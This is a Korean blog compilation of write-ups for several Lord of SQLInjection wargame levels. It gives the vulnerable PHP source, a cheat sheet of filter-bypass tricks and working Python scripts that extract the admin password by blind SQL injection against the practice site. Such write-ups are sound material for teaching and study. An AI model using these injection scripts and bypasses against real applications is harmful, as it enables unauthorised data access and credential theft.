[LOS] SQL Injection 풀이 (assassin)- 14

 

소스 코드

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("assassin"); 
  highlight_file(__FILE__); 
?>

필터링 된 문자

'(싱글 쿼터)

 

 

문제 접근

 

like 문을 사용하여 admin의 pw와 같으면 문제가 풀리는 형식이다. 하지만 이 경우 첫번째만 같아도 통과가 되기 때문에 쉽게 풀이가 가능해지게된다. 아마 이를 막기 위해 hello guest의 pw와 몇자리 수까지는 같게 만들어 바로 Hello admin이 뜨지 않도록 했을 것 같다.

그렇기 때문에 어차피 문제는 admin pw가 나오기만 하면 되니 탐색시 hello admin이 안나오고 hello guest가 나온다면 해당 문자를 저장후 hello admin이 나올때까지 코드를 돌리면될 것이다.

몇자리 인지도 필요 없지만 _ 이것을 이용하면 몇자리인지 알 수 있다.

만약 비밀번호가 

1234 라면

1___

_2__

__3_

___4

모두 1234라는 비밀번호를 가르키게 된다 즉 like와 비슷한 역할을 하는 것이다. 다만 위치를 지정해줄 수 있다는 점이 다르다.

%도 여기 문제를 풀때는 사용해야하는데 아래와 같이 작동을 하게 된다.

A% 맨앞이 A인 데이터
%A% 중간 값이 A인 데이터
%A 맨 뒷값이 A인 데이터

 

Solution

 

import requests

url='https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php'
cookies={'PHPSESSID':'nq20so8gef3ap4jgbif7rsm3ue'}

pw_str=''
adcheck = False
for position in range(1,9):
    if(adcheck==True):
        break
    for find_pw in range(48,122):
        value = pw_str + chr(find_pw)
        parameter={'pw':value+'%'}
        res = requests.get(url, params=parameter, cookies=cookies)

        if("Hello admin" in res.text):
            pw_str += chr(find_pw)
            print("pw=", pw_str)
            print("admin 비밀번호 찾기 완료")
            adcheck = True
            break
        elif("Hello guest" in res.text):
            pw_str += chr(find_pw)
            print("pw=", pw_str)
            break

print("Found all pw=", pw_str+"%")

[LOS] SQL Injection 풀이 (giant)- 14

 

소스 코드

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(strlen($_GET[shit])>1) exit("No Hack ~_~"); 
  if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe"); 
  $query = "select 1234 from{$_GET[shit]}prob_giant where 1"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result[1234]) solve("giant"); 
  highlight_file(__FILE__); 
?>

필터링 된 문자

n

r

t

공백

shit을 get 방식으로 오는데 값이 1을 넘기면 필터링을 당하게 된다.

문제 접근

 

여기서 주된 풀이 관점은 '공백을 어떻게 넣어서 구분하냐' 이다.

SQL 문을 보게 되면 from 과 sql 데이터명이 분리가 되지 않아 값이 나오지 않게 된다.

그렇기 때문에 공백만 주게 된다면 문제는 쉽게 풀릴 것이다.

 

Solution

필터링 우회
공백 /**/, %0a, %0b, %0c, %0d, +, %20, %2b

그 중 필터링을 피한 우회 

Vertical Tab (%0b)

Form Feed (%0c)

 

저번에 정리해놓은 내용의 값을 집어넣으면 필터링이 거의 대부분되지만 안되는 것도 존재한다.

https://tyrell96.tistory.com/35

 

SQL Injection bypass(우회) 방법 정리

그간 Lord of SQLInjection 을 풀면서 사용했던 우회 기법들을 정리하고자 한다.  필터링 우회 공백 /**/, %0a, %0b, %0c, %0d, +, %20, %2b = Like, <, >, In, instr(string $str, string $substr) or || (%7..

tyrell96.tistory.com

 

그간 Lord of SQLInjection 을 풀면서 사용했던 우회 기법들을 정리하고자 한다.

 

 필터링 우회
공백 /**/, %0a, %0b, %0c, %0d, +, %20, %2b
= Like, <, >, In, 
instr(string $str, string $substr)
or || (%7C%7C), &&(%26, %26)
substr mid(글자,추출열,추출갯수),
right(left('abc',1),1)='a'
ASCii ord,
Hex (hex 사용시 비교값도 hex처리해야함)
'(싱글 쿼터) 더블 쿼터("),
백슬래시(\)<- 백슬래쉬 바로 뒤 싱글쿼터가 글자로 인식, 
char 
0x 16진수 말고 다른 진수 사용
주석처리 --, #(%23), /**/(사이 문자 모두 주석처리), 
;%00
특정 단어 삭제 필터링 adadminmin- > admin 으로 우회가능

 

[LOS] SQL Injection 풀이 (bugbear)

no 입력된 필터링 된 문자

prob

_

()

'

substr

ascii

or

and

like

0x

=

공백

우선 이 문제 전darknight와 유사한 문제이지만 특이한 점은 전과 달리 필터링이 더 엄격해 졌다는 것이다.

전에는 기존 코드에서 필터링 우회할 수 있는 방법을 찾아봐야한다.

or과 &&의 경우 ||와 &&으로 첫째 우회가 가능하고  공백은 %09, %0a, %0b, %0c, %0d로 가능하다. 문제는 like 이다. 

like의 경우 우회 가능한 문자는 in, betweem, instring 이 존재한다.

import requests

url='https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
cookies={'PHPSESSID':'pn5rbt2lp2gfnrk9fo9df7mjtr'}


pw_str=''
for position in range(1,9):
    for find_pw in range(33,127):
        value = '"x" or id like "admin" and ord(mid(pw,{},1)) like {}#'.format(position,find_pw)
        parameter={'no':value}
        res = requests.get(url, params=parameter, cookies=cookies)


        if("Hello admin" in res.text):
            pw_str+=chr(find_pw)
            print("pw=", pw_str)
            break
    if("php" not in res.text)
        print("Error")
        break

print("Found all pw=",pw_str)

 

아래와 같이 기본적인 틀을 만들고 admin 뒤에 들어오는 pw만 비교하도록 sql 문을 작성하였다.

ord 같은 경우 or 문자 필터링으로 인해 작동을 못하기 때문에 이번에는 16진수로 변환하는 hex를 이용하여 진행할 예정이다.

 

코드를 맞게 작성했는데 작동 안해서 지금 1시간째 골머리를 썩고있다... 왜 안되는거지

오늘 해보고 안되면 내일 올리도록 하겠다..

import requests

url='https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
cookies={'PHPSESSID':'fkmvn6qogmh77vgsp8ij60pqlc'}


pw_str=''
for position in range(1,9):
    for find_pw in range(48,122):
        value = '"x"%0a||%0aid%0ain%0a("admin")%0a&&%0ahex(mid(pw,{},1))%0ain%0a(hex({}))'.format(position,find_pw)

        parameter={'no':value}
        res = requests.get(url, params=parameter, cookies=cookies)

        print(value)
        if("Hello admin" in res.text):
            print(1)
            pw_str+=chr(find_pw)
            print("pw=", pw_str)
            break


print("Found all pw=",pw_str)

풀었다. 작동이 안되는 이유는 파이썬에서는 공백 대치문으로 /**/ 으로만 적용을 해야 매개변수가 제대로 전달되는 것으로 보인다. 공백 문자를 바꾸니 바로 작동된다...

import requests

url='https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
cookies={'PHPSESSID':'fkmvn6qogmh77vgsp8ij60pqlc'}


pw_str=''
for position in range(1,9):
    for find_pw in range(48,122):
        value = '""/**/||/**/id/**/in/**/("admin")/**/&&/**/hex(mid(pw,{},1))/**/in/**/(hex({}))'.format(position,find_pw)
        parameter={'no':value}
        res = requests.get(url, params=parameter, cookies=cookies)

        if("Hello admin" in res.text):
            print(1)
            pw_str+=chr(find_pw)
            print("pw=", pw_str)
            break


print("Found all pw=", pw_str)

[LOS] SQL Injection 풀이 (darkknight)

필터링된 문자

no라는 입력값에 필터링된 문자

prob

_

.

()

'

substr

ascii

우선 이문제를 해결하기 위해서는 pw와 no의 필터링의 차이를 봐야한다. pw 같은 경우 '를 사용하지 못하도록 되어있는데 이것이 생기면 문제점이 하나 있다. 우선 따옴표를 못넣어서 pw라는 문장에 끝을 못만든 다는 것이다

예시로 아래와 같은 쿼리문이 있다고 보자 그러면 '를 못사용하니 문장을 못 닫아서 전체 문장이 문자열 처리되어 버리는 것이다. 즉 연산자를 이용해 거짓을 참으로 만드는 것이 안되는 것이다. 그에반에 no의 경우 필터링 되는 것은 많지만 ' 가 no라는 입력에 없기 때문에 pw 보다는 좀더 수월하게 우회가 가능하다.

select id from prob_darkknight where id='guest' and pw=' " " or id="admin"#

import requests

url='https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
cookies={'PHPSESSID':'pn5rbt2lp2gfnrk9fo9df7mjtr'}


pw_str=''
for position in range(1,9):
    for find_pw in range(33,127):
        value = '"x" or id like "admin" and ord(mid(pw,{},1)) like {}#'.format(position,find_pw)
        parameter={'no':value}
        res = requests.get(url, params=parameter, cookies=cookies)


        if("Hello admin" in res.text):
            pw_str+=chr(find_pw)
            print(res.text)
            print("pw=", pw_str)
            break

print("Found all pw=",pw_str)

 

[LOS] SQL Injection 풀이 (golem)

필터링 된 단어

prob

_

.

( )

or

and

substr

=

 

내용을 보게 되면 입력된 비밀번호와 db에서 가져온 비밀번호가 일치해야 admin 로그인이 승인되는 것을 볼 수 있다. 이 겨우 pw에서만 입력을 받기 때문에 union을 사용하기는 어려울 것 같고 전과 같이 비밀번호를 알아내는 방법을 써야할 것같다. 다만 substr이라는 문자열을 자르는 함수가 필터링되어 있으니 다른 방식으로 접근하여야 한다.

우선 = 필터링은 like 문을 사용해서 우회가 가능하다 또한 substr같은 경우 substring을 이용하면 우회가 가능해 진다.

or and 문의 경우 ||와 && 문자를 url encoding 해서 집어넣었다.  그 이유는 &&가 url에서 먹히지 않아서 그렇다.

이렇게 sql문을 작성하면 뒤에 && 뒤에 문이 참이 나와야 Hello admin이 나오기 때문에 이를 이용하여 자동화 공격시 우회가 가능해진다.

자동화 공격 코드는 전 orc 문제 풀이에서 조금만 수정을 하였다.

import requests

url='https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
cookies={'PHPSESSID':'2331tgvu0ls0ek67c2ba6liiun    '}
pw_str=''


for position in range(1,9):
    for find_pw in range(33,127):
        value ="x' || id like'admin' && ascii(substring(pw,{},1)) like {}#'".format(position,find_pw)
        parameter={'pw':value}
        res = requests.get(url, params=parameter, cookies=cookies)


        if("Hello admin" in res.text):
            pw_str+=chr(find_pw)
            print("pw=", pw_str)
            break

print("Found all pw=",pw_str)

 

+ Recent posts